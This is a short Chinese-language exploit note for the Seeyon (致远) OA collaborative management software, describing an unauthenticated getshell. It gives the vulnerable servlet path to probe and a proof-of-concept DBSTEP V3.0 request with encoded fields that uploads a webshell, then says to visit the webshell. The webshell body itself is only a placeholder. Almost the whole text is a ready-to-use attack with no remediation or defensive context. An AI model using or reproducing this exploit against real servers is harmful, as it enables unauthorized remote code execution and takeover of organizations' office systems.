致远 OA 协同管理软件无需登录 getshell

访问 ： ip/seeyon/htmlofficeservlet

如果出现下图所示的内容，表示存在漏洞。



构造 PoC

DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV

OPTION=S3WYOSWLBSGr

currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66

CREATEDATE=wUghPB3szB3Xwg66

RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6

originalFileId=wV66

originalCreateDate=wUghPB3szB3Xwg66

FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2

dEg6

needReadFile=yRWZdAS6

originalCreateDate=wLSGP4oEzLKAz4=iz=66

webshell

访问 webshell

